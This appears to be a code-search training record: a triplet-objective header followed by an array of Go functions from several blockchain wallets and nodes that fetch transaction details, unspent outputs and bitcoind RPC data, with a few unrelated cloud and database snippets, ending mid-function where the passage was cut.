{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (gw *Gateway) GetTransactionVerbose(txid cipher.SHA256) (*visor.Transaction, []visor.TransactionInput, error) {\n\tvar txn *visor.Transaction\n\tvar inputs []visor.TransactionInput\n\tvar err error\n\tgw.strand(\"GetTransactionVerbose\", func() {\n\t\ttxn, inputs, err = gw.v.GetTransactionWithInputs(txid)\n\t})\n\treturn txn, inputs, err\n}", "func (t *testNode) GetRawTransactionVerbose(txHash *chainhash.Hash) (*btcjson.TxRawResult, error) {\n\ttestChainMtx.RLock()\n\tdefer testChainMtx.RUnlock()\n\ttx, found := testChain.txRaws[*txHash]\n\tif !found {\n\t\treturn nil, fmt.Errorf(\"test transaction not found\\n\")\n\t}\n\treturn tx, nil\n}", "func (gw *Gateway) GetTransactionsVerbose(flts []visor.TxFilter) ([]visor.Transaction, [][]visor.TransactionInput, error) {\n\tvar txns []visor.Transaction\n\tvar inputs [][]visor.TransactionInput\n\tvar err error\n\tgw.strand(\"GetTransactionsVerbose\", func() {\n\t\ttxns, inputs, err = gw.v.GetTransactionsWithInputs(flts)\n\t})\n\treturn txns, inputs, err\n}", "func (dcr *DCRBackend) UnspentDetails(txid string, vout uint32) (string, uint64, int64, error) {\n\ttxHash, err := chainhash.NewHashFromStr(txid)\n\tif err != nil {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"error decoding tx ID %s: %v\", txid, err)\n\t}\n\ttxOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout)\n\tif err != nil {\n\t\treturn \"\", 0, -1, err\n\t}\n\tscriptType := dexdcr.ParseScriptType(dexdcr.CurrentScriptVersion, pkScript, nil)\n\tif scriptType == dexdcr.ScriptUnsupported {\n\t\treturn \"\", 0, -1, dex.UnsupportedScriptError\n\t}\n\tif !scriptType.IsP2PKH() {\n\t\treturn \"\", 0, -1, dex.UnsupportedScriptError\n\t}\n\n\tscriptAddrs, err := dexdcr.ExtractScriptAddrs(pkScript, chainParams)\n\tif err != nil {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"error parsing utxo script addresses\")\n\t}\n\tif scriptAddrs.NumPK != 0 {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"pubkey addresses not supported for P2PKHDetails\")\n\t}\n\tif scriptAddrs.NumPKH != 1 {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"multi-sig not supported for P2PKHDetails\")\n\t}\n\treturn scriptAddrs.PkHashes[0].String(), toAtoms(txOut.Value), txOut.Confirmations, nil\n}", "func ListUnspentInfo(rsp http.ResponseWriter, req *http.Request) {\r\n\terrcode := ListUnspentInfo_ErrorCode\r\n\tvars := mux.Vars(req)\r\n\tmh, err := gHandle.MongoHandle(vars[\"type\"])\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-1, err))\r\n\t\treturn\r\n\t}\r\n\tfragment := common.StartTrace(\"ListUnspentInfo db1\")\r\n\trst, err := mh.GetAddrUnspentInfo(vars[\"address\"])\r\n\tfragment.StopTrace(0)\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-2, err))\r\n\t\treturn\r\n\t}\r\n\r\n\trsp.Write(common.MakeOkRspByData(rst))\r\n}", "func (gw *Gateway) VerifyTxnVerbose(txn *coin.Transaction) ([]wallet.UxBalance, bool, error) {\n\tvar uxs []wallet.UxBalance\n\tvar isTxnConfirmed bool\n\tvar err error\n\tgw.strand(\"VerifyTxnVerbose\", func() {\n\t\tuxs, isTxnConfirmed, err = gw.v.VerifyTxnVerbose(txn)\n\t})\n\treturn uxs, isTxnConfirmed, err\n}", "func (gw *Gateway) GetWalletUnconfirmedTransactionsVerbose(wltID string) ([]visor.UnconfirmedTransaction, [][]visor.TransactionInput, error) {\n\tif !gw.Config.EnableWalletAPI {\n\t\treturn nil, nil, wallet.ErrWalletAPIDisabled\n\t}\n\n\tvar txns []visor.UnconfirmedTransaction\n\tvar inputs [][]visor.TransactionInput\n\tvar err error\n\tgw.strand(\"GetWalletUnconfirmedTransactionsVerbose\", func() {\n\t\ttxns, inputs, err = gw.v.GetWalletUnconfirmedTransactionsVerbose(wltID)\n\t})\n\treturn txns, inputs, err\n}", "func (gw *Gateway) GetAllUnconfirmedTransactionsVerbose() ([]visor.UnconfirmedTransaction, [][]visor.TransactionInput, error) {\n\tvar txns []visor.UnconfirmedTransaction\n\tvar inputs [][]visor.TransactionInput\n\tvar err error\n\tgw.strand(\"GetAllUnconfirmedTransactionsVerbose\", func() {\n\t\ttxns, inputs, err = gw.v.GetAllUnconfirmedTransactionsVerbose()\n\t})\n\treturn txns, inputs, err\n}", "func (showTxCommand ShowTransactionCommand) Run(ctx context.Context, wallet walletcore.Wallet) error {\n\ttransaction, err := wallet.GetTransaction(showTxCommand.Args.TxHash)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbasicOutput := \"Hash\\t%s\\n\" +\n\t\t\"Confirmations\\t%d\\n\" +\n\t\t\"Included in block\\t%d\\n\" +\n\t\t\"Type\\t%s\\n\" +\n\t\t\"Amount %s\\t%s\\n\" +\n\t\t\"Date\\t%s\\n\" +\n\t\t\"Size\\t%s\\n\" +\n\t\t\"Fee\\t%s\\n\" +\n\t\t\"Rate\\t%s/kB\\n\"\n\n\ttxDirection := strings.ToLower(transaction.Direction.String())\n\ttxSize := fmt.Sprintf(\"%.1f kB\", float64(transaction.Size)/1000)\n\tbasicOutput = fmt.Sprintf(basicOutput,\n\t\ttransaction.Hash,\n\t\ttransaction.Confirmations,\n\t\ttransaction.BlockHeight,\n\t\ttransaction.Type,\n\t\ttxDirection, transaction.Amount,\n\t\ttransaction.FormattedTime,\n\t\ttxSize,\n\t\ttransaction.Fee,\n\t\ttransaction.FeeRate)\n\n\tif showTxCommand.Detailed {\n\t\tdetailedOutput := strings.Builder{}\n\t\tdetailedOutput.WriteString(\"General Info\\n\")\n\t\tdetailedOutput.WriteString(basicOutput)\n\t\tdetailedOutput.WriteString(\"\\nInputs\\n\")\n\t\tfor _, input := range transaction.Inputs {\n\t\t\tdetailedOutput.WriteString(fmt.Sprintf(\"%s\\t%s\\n\", dcrutil.Amount(input.AmountIn).String(), input.PreviousOutpoint))\n\t\t}\n\t\tdetailedOutput.WriteString(\"\\nOutputs\\n\")\n\t\tfor _, out := range transaction.Outputs {\n\t\t\tif len(out.Addresses) == 0 {\n\t\t\t\tdetailedOutput.WriteString(fmt.Sprintf(\"%s\\t (no address)\\n\", dcrutil.Amount(out.Value).String()))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdetailedOutput.WriteString(fmt.Sprintf(\"%s\", dcrutil.Amount(out.Value).String()))\n\t\t\tfor _, address := range out.Addresses {\n\t\t\t\taccountName := address.AccountName\n\t\t\t\tif !address.IsMine {\n\t\t\t\t\taccountName = \"external\"\n\t\t\t\t}\n\t\t\t\tdetailedOutput.WriteString(fmt.Sprintf(\"\\t%s (%s)\\n\", address.Address, accountName))\n\t\t\t}\n\t\t}\n\t\ttermio.PrintStringResult(strings.TrimRight(detailedOutput.String(), \" \\n\\r\"))\n\t} else {\n\t\ttermio.PrintStringResult(basicOutput)\n\t}\n\treturn nil\n}", "func getUnspent(addr string, page int) (string, error) {\n\turl := bitcoinCashAPI + \"/address/\" + addr + \"/unspent?pagesize=\" +\n\t\tstrconv.Itoa(defaultPageSize) + \"&page=\" + strconv.Itoa(page)\n\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif res.StatusCode != 200 {\n\t\treturn \"\", errors.New(\"request failed\")\n\t}\n\n\tcontent, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(content), nil\n}", "func testRawTransactionVerbose(msgTx *wire.MsgTx, txid, blockHash *chainhash.Hash,\n\tconfirmations int64) *btcjson.TxRawResult {\n\n\tvar hash string\n\tif blockHash != nil {\n\t\thash = blockHash.String()\n\t}\n\tw := bytes.NewBuffer(make([]byte, 0))\n\terr := msgTx.Serialize(w)\n\tif err != nil {\n\t\tfmt.Printf(\"error encoding MsgTx\\n\")\n\t}\n\thexTx := w.Bytes()\n\treturn &btcjson.TxRawResult{\n\t\tHex: hex.EncodeToString(hexTx),\n\t\tTxid: txid.String(),\n\t\tBlockHash: hash,\n\t\tConfirmations: uint64(confirmations),\n\t}\n\n}", "func (c *Client) AddressUnspentTransactionDetails(ctx context.Context, address string, maxTransactions int) (history AddressHistory, err error) {\n\n\t// Get the address UTXO history\n\tvar utxos AddressHistory\n\tif utxos, err = c.AddressUnspentTransactions(ctx, address); err != nil {\n\t\treturn\n\t} else if len(utxos) == 0 {\n\t\treturn\n\t}\n\n\t// Do we have a \"custom max\" amount?\n\tif maxTransactions > 0 {\n\t\ttotal := len(utxos)\n\t\tif total > maxTransactions {\n\t\t\tutxos = utxos[:total-(total-maxTransactions)]\n\t\t}\n\t}\n\n\t// Break up the UTXOs into batches\n\tvar batches []AddressHistory\n\tchunkSize := MaxTransactionsUTXO\n\n\tfor i := 0; i < len(utxos); i += chunkSize {\n\t\tend := i + chunkSize\n\n\t\tif end > len(utxos) {\n\t\t\tend = len(utxos)\n\t\t}\n\n\t\tbatches = append(batches, utxos[i:end])\n\t}\n\n\t// todo: use channels/wait group to fire all requests at the same time (rate limiting)\n\n\t// Loop Batches - and get each batch (multiple batches of MaxTransactionsUTXO)\n\tfor _, batch := range batches {\n\n\t\ttxHashes := new(TxHashes)\n\n\t\t// Loop the batch (max MaxTransactionsUTXO)\n\t\tfor _, utxo := range batch {\n\n\t\t\t// Append to the list to send and return\n\t\t\ttxHashes.TxIDs = append(txHashes.TxIDs, utxo.TxHash)\n\t\t\thistory = append(history, utxo)\n\t\t}\n\n\t\t// Get the tx details (max of MaxTransactionsUTXO)\n\t\tvar txList TxList\n\t\tif txList, err = c.BulkTransactionDetails(ctx, txHashes); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Add to the history list\n\t\tfor index, tx := range txList {\n\t\t\tfor _, utxo := range history {\n\t\t\t\tif utxo.TxHash == tx.TxID {\n\t\t\t\t\tutxo.Info = txList[index]\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func (ctx *Context) buildTransactionVerboseOutputs(tx *externalapi.DomainTransaction, filterAddrMap map[string]struct{}) []*appmessage.TransactionVerboseOutput {\n\toutputs := make([]*appmessage.TransactionVerboseOutput, len(tx.Outputs))\n\tfor i, transactionOutput := range tx.Outputs {\n\n\t\t// Ignore the error here since an error means the script\n\t\t// couldn't parse and there is no additional information about\n\t\t// it anyways.\n\t\tscriptClass, addr, _ := txscript.ExtractScriptPubKeyAddress(\n\t\t\ttransactionOutput.ScriptPublicKey, ctx.Config.ActiveNetParams)\n\n\t\t// Encode the addresses while checking if the address passes the\n\t\t// filter when needed.\n\t\tpassesFilter := len(filterAddrMap) == 0\n\t\tvar encodedAddr string\n\t\tif addr != nil {\n\t\t\tencodedAddr = *pointers.String(addr.EncodeAddress())\n\n\t\t\t// If the filter doesn't already pass, make it pass if\n\t\t\t// the address exists in the filter.\n\t\t\tif _, exists := filterAddrMap[encodedAddr]; exists {\n\t\t\t\tpassesFilter = true\n\t\t\t}\n\t\t}\n\n\t\tif !passesFilter {\n\t\t\tcontinue\n\t\t}\n\n\t\toutput := &appmessage.TransactionVerboseOutput{}\n\t\toutput.Index = uint32(i)\n\t\toutput.Value = transactionOutput.Value\n\t\toutput.ScriptPubKey = &appmessage.ScriptPubKeyResult{\n\t\t\tAddress: encodedAddr,\n\t\t\tHex: hex.EncodeToString(transactionOutput.ScriptPublicKey.Script),\n\t\t\tType: scriptClass.String(),\n\t\t}\n\t\toutputs[i] = output\n\t}\n\n\treturn outputs\n}", "func (s *Store) UnspentOutputs() []*RecvTxOut {\n\tunspent := make([]*RecvTxOut, 0, len(s.unspent))\n\tfor _, record := range s.unspent {\n\t\tunspent = append(unspent, record.record(s).(*RecvTxOut))\n\t}\n\treturn unspent\n}", "func (s GetTransactionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (o RestoreResponseOutput) Details() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RestoreResponse) string { return v.Details }).(pulumi.StringOutput)\n}", "func (tx Transaction) String() string {\n\tvar lines []string\n\n\tlines = append(lines, fmt.Sprintf(\"--- Transaction %x:\", tx.ID))\n\n\tfor i, input := range tx.Vin {\n\n\t\tlines = append(lines, fmt.Sprintf(\" Input %d:\", i))\n\t\tlines = append(lines, fmt.Sprintf(\" TXID: %x\", input.Txid))\n\t\tlines = append(lines, fmt.Sprintf(\" Out: %d\", input.Vout))\n\t\tlines = append(lines, fmt.Sprintf(\" Signature: %x\", input.Signature))\n\t\tlines = append(lines, fmt.Sprintf(\" PubKey: %x\", input.PubKey))\n\t}\n\n\tfor i, output := range tx.Vout {\n\t\tlines = append(lines, fmt.Sprintf(\" Output %d:\", i))\n\t\tlines = append(lines, fmt.Sprintf(\" Value: %d\", output.Value))\n\t\tlines = append(lines, fmt.Sprintf(\" Script: %x\", output.PubKeyHash))\n\t}\n\n\treturn strings.Join(lines, \"\\n\")\n}", "func (st *SignedTx) TxInfo(account string, chainHeight int32, net btcwire.BitcoinNet) []map[string]interface{} {\n\treply := make([]map[string]interface{}, len(st.tx.MsgTx().TxOut))\n\n\tvar confirmations int32\n\tif st.block != nil {\n\t\tconfirmations = chainHeight - st.block.Height + 1\n\t}\n\n\tfor i, txout := range st.tx.MsgTx().TxOut {\n\t\taddress := \"Unknown\"\n\t\t_, addrs, _, _ := btcscript.ExtractPkScriptAddrs(txout.PkScript, net)\n\t\tif len(addrs) == 1 {\n\t\t\taddress = addrs[0].EncodeAddress()\n\t\t}\n\t\tinfo := map[string]interface{}{\n\t\t\t\"account\": account,\n\t\t\t\"address\": address,\n\t\t\t\"category\": \"send\",\n\t\t\t\"amount\": float64(-txout.Value) / float64(btcutil.SatoshiPerBitcoin),\n\t\t\t\"fee\": float64(st.Fee()) / float64(btcutil.SatoshiPerBitcoin),\n\t\t\t\"confirmations\": float64(confirmations),\n\t\t\t\"txid\": st.txSha.String(),\n\t\t\t\"time\": float64(st.created.Unix()),\n\t\t\t\"timereceived\": float64(st.created.Unix()),\n\t\t}\n\t\tif st.block != nil {\n\t\t\tinfo[\"blockhash\"] = st.block.Hash.String()\n\t\t\tinfo[\"blockindex\"] = float64(st.block.Index)\n\t\t\tinfo[\"blocktime\"] = float64(st.block.Time.Unix())\n\t\t}\n\t\treply[i] = info\n\t}\n\n\treturn reply\n}", "func (o SymptomResponseOutput) Details() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SymptomResponse) string { return v.Details }).(pulumi.StringOutput)\n}", "func rawMempoolVerbose(s *Server) map[string]*model.GetRawMempoolVerboseResult {\n\tdescs := s.txMempool.TxDescs()\n\tresult := make(map[string]*model.GetRawMempoolVerboseResult, len(descs))\n\n\tfor _, desc := range descs {\n\t\t// Calculate the current priority based on the inputs to\n\t\t// the transaction. Use zero if one or more of the\n\t\t// input transactions can't be found for some reason.\n\t\ttx := desc.Tx\n\n\t\tmpd := &model.GetRawMempoolVerboseResult{\n\t\t\tSize: int32(tx.MsgTx().SerializeSize()),\n\t\t\tFee: util.Amount(desc.Fee).ToKAS(),\n\t\t\tTime: desc.Added.UnixMilliseconds(),\n\t\t\tDepends: make([]string, 0),\n\t\t}\n\t\tfor _, txIn := range tx.MsgTx().TxIn {\n\t\t\ttxID := &txIn.PreviousOutpoint.TxID\n\t\t\tif s.txMempool.HaveTransaction(txID) {\n\t\t\t\tmpd.Depends = append(mpd.Depends,\n\t\t\t\t\ttxID.String())\n\t\t\t}\n\t\t}\n\n\t\tresult[tx.ID().String()] = mpd\n\t}\n\n\treturn result\n}", "func (dcr *DCRBackend) getUnspentTxOut(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, []byte, error) {\n\ttxOut, err := dcr.node.GetTxOut(txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"GetTxOut error for output %s:%d: %v\", txHash, vout, err)\n\t}\n\tif txOut == nil {\n\t\treturn nil, nil, fmt.Errorf(\"UTXO - no unspent txout found for %s:%d\", txHash, vout)\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to decode pubkey script from '%s' for output %s:%d\", txOut.ScriptPubKey.Hex, txHash, vout)\n\t}\n\treturn txOut, pkScript, nil\n}", "func (o StatusResponseOutput) Details() pulumi.StringMapArrayOutput {\n\treturn o.ApplyT(func(v StatusResponse) []map[string]string { return v.Details }).(pulumi.StringMapArrayOutput)\n}", "func (rt *RecvTxOut) TxInfo(account string, chainHeight int32, net btcwire.BitcoinNet) []map[string]interface{} {\n\ttx := rt.tx.MsgTx()\n\toutidx := rt.outpoint.Index\n\ttxout := tx.TxOut[outidx]\n\n\taddress := \"Unknown\"\n\t_, addrs, _, _ := btcscript.ExtractPkScriptAddrs(txout.PkScript, net)\n\tif len(addrs) == 1 {\n\t\taddress = addrs[0].EncodeAddress()\n\t}\n\n\ttxInfo := map[string]interface{}{\n\t\t\"account\": account,\n\t\t\"category\": \"receive\",\n\t\t\"address\": address,\n\t\t\"amount\": float64(txout.Value) / float64(btcutil.SatoshiPerBitcoin),\n\t\t\"txid\": rt.outpoint.Hash.String(),\n\t\t\"timereceived\": float64(rt.received.Unix()),\n\t}\n\n\tif rt.block != nil {\n\t\ttxInfo[\"blockhash\"] = rt.block.Hash.String()\n\t\ttxInfo[\"blockindex\"] = float64(rt.block.Index)\n\t\ttxInfo[\"blocktime\"] = float64(rt.block.Time.Unix())\n\t\ttxInfo[\"confirmations\"] = float64(chainHeight - rt.block.Height + 1)\n\t} else {\n\t\ttxInfo[\"confirmations\"] = float64(0)\n\t}\n\n\treturn []map[string]interface{}{txInfo}\n}", "func (client *Client) ListUnspent(address string) (Response, error) {\n\n\tmsg := map[string]interface{}{\n\t\t\"jsonrpc\": \"1.0\",\n\t\t\"id\": CONST_ID,\n\t\t\"method\": \"listunspent\",\n\t\t\"params\": []interface{}{\n\t\t\t0,\n\t\t\t999999,\n\t\t\t[]string{\n\t\t\t\taddress,\n\t\t\t},\n\t\t},\n\t}\n\n\tobj, err := client.post(msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn obj, nil\n}", "func (b *Bitcoind) GetTxOutsetInfo() (txOutSet TransactionOutSet, err error) {\n\tr, err := b.client.call(\"gettxoutsetinfo\", nil)\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &txOutSet)\n\treturn\n}", "func (HTTPOperation) GetDetails() (string, string, string) {\n\treturn \"update\", \"updated\", \"vaccine availability \" + id\n}", "func (b *BlockChain) GetUnspentOutputs(address string) []TxOutput {\n\tvar unspentOuts []TxOutput\n\ttxns := b.GetUnspentTxns(address)\n\n\t// go over each txn and each output in it and collect ones which belongs to this address\n\tfor _, txn := range txns {\n\t\t// iterate over all outputs\n\t\tfor _, output := range txn.Out {\n\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\tunspentOuts = append(unspentOuts, output)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn unspentOuts\n}", "func (s *Store) GetUnspentOutputs(ns walletdb.ReadBucket) ([]Credit, er.R) {\n\tvar unspent []Credit\n\terr := s.ForEachUnspentOutput(ns, nil, func(_ []byte, c *Credit) er.R {\n\t\tunspent = append(unspent, *c)\n\t\treturn nil\n\t})\n\treturn unspent, err\n}", "func (ctx *Context) BuildTransactionVerboseData(tx *externalapi.DomainTransaction, txID string,\n\tblockHeader externalapi.BlockHeader, blockHash string) (\n\t*appmessage.TransactionVerboseData, error) {\n\n\tvar payloadHash string\n\tif tx.SubnetworkID != subnetworks.SubnetworkIDNative {\n\t\tpayloadHash = tx.PayloadHash.String()\n\t}\n\n\ttxReply := &appmessage.TransactionVerboseData{\n\t\tTxID: txID,\n\t\tHash: consensushashing.TransactionHash(tx).String(),\n\t\tSize: estimatedsize.TransactionEstimatedSerializedSize(tx),\n\t\tTransactionVerboseInputs: ctx.buildTransactionVerboseInputs(tx),\n\t\tTransactionVerboseOutputs: ctx.buildTransactionVerboseOutputs(tx, nil),\n\t\tVersion: tx.Version,\n\t\tLockTime: tx.LockTime,\n\t\tSubnetworkID: tx.SubnetworkID.String(),\n\t\tGas: tx.Gas,\n\t\tPayloadHash: payloadHash,\n\t\tPayload: hex.EncodeToString(tx.Payload),\n\t}\n\n\tif blockHeader != nil {\n\t\ttxReply.Time = uint64(blockHeader.TimeInMilliseconds())\n\t\ttxReply.BlockTime = uint64(blockHeader.TimeInMilliseconds())\n\t\ttxReply.BlockHash = blockHash\n\t}\n\n\treturn txReply, nil\n}", "func ListUnspentWithAsset(ctx context.Context, rpcClient RpcClient, filter []Address, asset string) ([]TransactionInfo, error) {\n\treturn ListUnspentMinMaxAddressesAndOptions(ctx, rpcClient, AddressInfoMinConfirmation, AddressInfoMaxConfirmation, filter, ListUnspentOption{\n\t\tAsset: asset,\n\t})\n}", "func (o InnerErrorResponseOutput) AdditionalInfo() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v InnerErrorResponse) map[string]string { return v.AdditionalInfo }).(pulumi.StringMapOutput)\n}", "func (tx Transaction) String() string {\n\tvar lines []string\n\n\tlines = append(lines, fmt.Sprintf(\"--- Transaction %x: \", tx.ID))\n\tfor i, input := range tx.Inputs {\n\t\tlines = append(lines, fmt.Sprintf(\" Input %d: \", i))\n\t\tlines = append(lines, fmt.Sprintf(\" TxID: %x\", input.ID))\n\t\tlines = append(lines, fmt.Sprintf(\" Out : %d\", input.Out))\n\t\tlines = append(lines, fmt.Sprintf(\" Signature: %x\", input.Signature))\n\t\tlines = append(lines, fmt.Sprintf(\" PubKey: %x\", input.PubKey))\n\t}\n\n\tfor i, output := range tx.Outputs {\n\t\tlines = append(lines, fmt.Sprintf(\" Output %d:\", i))\n\t\tlines = append(lines, fmt.Sprintf(\" Value: %d\", output.Value))\n\t\tlines = append(lines, fmt.Sprintf(\" PubKeyHash: %x\", output.PubKeyHash))\n\t}\n\n\treturn strings.Join(lines, \"\\n\")\n}", "func (tx Transaction) String() string {\n\tvar lines []string\n\n\tlines = append(lines, fmt.Sprintf(\"--- Transaction %x:\", tx.ID))\n\tfor i, input := range tx.Inputs {\n\t\tlines = append(lines, fmt.Sprintf(\" Input %d:\", i))\n\t\tlines = append(lines, fmt.Sprintf(\" TXID: %x\", input.ID))\n\t\tlines = append(lines, fmt.Sprintf(\" Out: %d\", input.Out))\n\t\tlines = append(lines, fmt.Sprintf(\" Signature: %x\", input.Signature))\n\t\tlines = append(lines, fmt.Sprintf(\" PubKey: %x\", input.PubKey))\n\t}\n\n\tfor i, output := range tx.Outputs {\n\t\tlines = append(lines, fmt.Sprintf(\" Output %d:\", i))\n\t\tlines = append(lines, fmt.Sprintf(\" Value: %d\", output.Value))\n\t\tlines = append(lines, fmt.Sprintf(\" Script: %x\", output.PubKeyHash))\n\t}\n\n\treturn strings.Join(lines, \"\\n\")\n}", "func (core *coreService) TraceTransaction(ctx context.Context, actHash string, config *logger.Config) ([]byte, *action.Receipt, *logger.StructLogger, error) {\n\tactInfo, err := core.Action(util.Remove0xPrefix(actHash), false)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tact, err := (&action.Deserializer{}).SetEvmNetworkID(core.EVMNetworkID()).ActionToSealedEnvelope(actInfo.Action)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tsc, ok := act.Action().(*action.Execution)\n\tif !ok {\n\t\treturn nil, nil, nil, errors.New(\"the type of action is not supported\")\n\t}\n\ttraces := logger.NewStructLogger(config)\n\tctx = protocol.WithVMConfigCtx(ctx, vm.Config{\n\t\tDebug: true,\n\t\tTracer: traces,\n\t\tNoBaseFee: true,\n\t})\n\taddr, _ := address.FromString(address.ZeroAddress)\n\tretval, receipt, err := core.SimulateExecution(ctx, addr, sc)\n\treturn retval, receipt, traces, err\n}", "func (o GoogleRpcStatusResponseOutput) Details() pulumi.StringMapArrayOutput {\n\treturn o.ApplyT(func(v GoogleRpcStatusResponse) []map[string]string { return v.Details }).(pulumi.StringMapArrayOutput)\n}", "func GetTxnUsageInfo(ctx sessionctx.Context) *TxnUsageInfo {\n\tasyncCommitUsed := false\n\tif val, err := variable.GetGlobalSystemVar(ctx.GetSessionVars(), variable.TiDBEnableAsyncCommit); err == nil {\n\t\tasyncCommitUsed = val == variable.BoolOn\n\t}\n\tonePCUsed := false\n\tif val, err := variable.GetGlobalSystemVar(ctx.GetSessionVars(), variable.TiDBEnable1PC); err == nil {\n\t\tonePCUsed = val == variable.BoolOn\n\t}\n\tcurr := metrics.GetTxnCommitCounter()\n\tdiff := curr.Sub(initialTxnCommitCounter)\n\treturn &TxnUsageInfo{asyncCommitUsed, onePCUsed, diff}\n}", "func (s *stat) Details() (result string) {\n\tif s.success.count != 0 || s.error.count != 0 {\n\t\tsuccessRate := float64(s.success.count) / float64(s.success.count+s.error.count)\n\t\tresult = fmt.Sprintf(\"Success: %0.2f%% %v\\nFailed: %0.2f%% %v\\n\",\n\t\t\tsuccessRate, s.success.String(),\n\t\t\t1.0-successRate, s.error.String())\n\t}\n\tif l := len(s.inProgress); l > 0 {\n\t\tresult += fmt.Sprintf(\"InProgress: %d\\n\", len(s.inProgress))\n\t}\n\treturn result\n}", "func (s *Store) TxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash) (*TxDetails, error) {\n\t// First, check whether there exists an unmined transaction with this\n\t// hash. Use it if found.\n\tv := existsRawUnmined(ns, txHash[:])\n\tif v != nil {\n\t\treturn s.unminedTxDetails(ns, txHash, v)\n\t}\n\n\t// Otherwise, if there exists a mined transaction with this matching\n\t// hash, skip over to the newest and begin fetching all details.\n\tk, v := latestTxRecord(ns, txHash)\n\tif v == nil {\n\t\t// not found\n\t\treturn nil, nil\n\t}\n\treturn s.minedTxDetails(ns, txHash, k, v)\n}", "func (entry *UtxoEntry) UnspendOutput() {\n\tentry.Spent = false\n}", "func (b *Bitcoind) ListUnspent(minconf, maxconf uint32) (transactions []Transaction, err error) {\n\tif maxconf > 999999 {\n\t\tmaxconf = 999999\n\t}\n\n\tr, err := b.client.call(\"listunspent\", []interface{}{minconf, maxconf})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transactions)\n\treturn\n}", "func (a API) GetTxOut(cmd *btcjson.GetTxOutCmd) (e error) {\n\tRPCHandlers[\"gettxout\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (s *Store) unminedTxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash, v []byte) (*TxDetails, error) {\n\tdetails := TxDetails{\n\t\tBlock: BlockMeta{Block: Block{Height: -1}},\n\t}\n\terr := readRawTxRecord(txHash, v, &details.TxRecord)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tit := makeReadUnminedCreditIterator(ns, txHash)\n\tfor it.next() {\n\t\tif int(it.elem.Index) >= len(details.MsgTx.TxOut) {\n\t\t\tstr := \"saved credit index exceeds number of outputs\"\n\t\t\treturn nil, storeError(ErrData, str, nil)\n\t\t}\n\n\t\t// Set the Spent field since this is not done by the iterator.\n\t\tit.elem.Spent = existsRawUnminedInput(ns, it.ck) != nil\n\t\tdetails.Credits = append(details.Credits, it.elem)\n\t}\n\tif it.err != nil {\n\t\treturn nil, it.err\n\t}\n\n\t// Debit records are not saved for unmined transactions. Instead, they\n\t// must be looked up for each transaction input manually. There are two\n\t// kinds of previous credits that may be debited by an unmined\n\t// transaction: mined unspent outputs (which remain marked unspent even\n\t// when spent by an unmined transaction), and credits from other unmined\n\t// transactions. Both situations must be considered.\n\tfor i, output := range details.MsgTx.TxIn {\n\t\topKey := canonicalOutPoint(&output.PreviousOutPoint.Hash,\n\t\t\toutput.PreviousOutPoint.Index)\n\t\tcredKey := existsRawUnspent(ns, opKey)\n\t\tif credKey != nil {\n\t\t\tv := existsRawCredit(ns, credKey)\n\t\t\tamount, err := fetchRawCreditAmount(v)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\t\tAmount: amount,\n\t\t\t\tIndex: uint32(i),\n\t\t\t})\n\t\t\tcontinue\n\t\t}\n\n\t\tv := existsRawUnminedCredit(ns, opKey)\n\t\tif v == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tamount, err := fetchRawCreditAmount(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdetails.Debits = append(details.Debits, DebitRecord{\n\t\t\tAmount: amount,\n\t\t\tIndex: uint32(i),\n\t\t})\n\t}\n\n\t// Finally, we add the transaction label to details.\n\tdetails.Label, err = s.TxLabel(ns, *txHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &details, nil\n}", "func (gw *Gateway) GetUnspentOutputsSummary(filters []visor.OutputsFilter) (*visor.UnspentOutputsSummary, error) {\n\tvar summary *visor.UnspentOutputsSummary\n\tvar err error\n\tgw.strand(\"GetUnspentOutputsSummary\", func() {\n\t\tsummary, err = gw.v.GetUnspentOutputsSummary(filters)\n\t})\n\treturn summary, err\n}", "func (b *Bitcoind) GetTxOut(txid string, n uint32, includeMempool bool) (transactionOut UTransactionOut, err error) {\n\tr, err := b.client.call(\"gettxout\", []interface{}{txid, n, includeMempool})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, 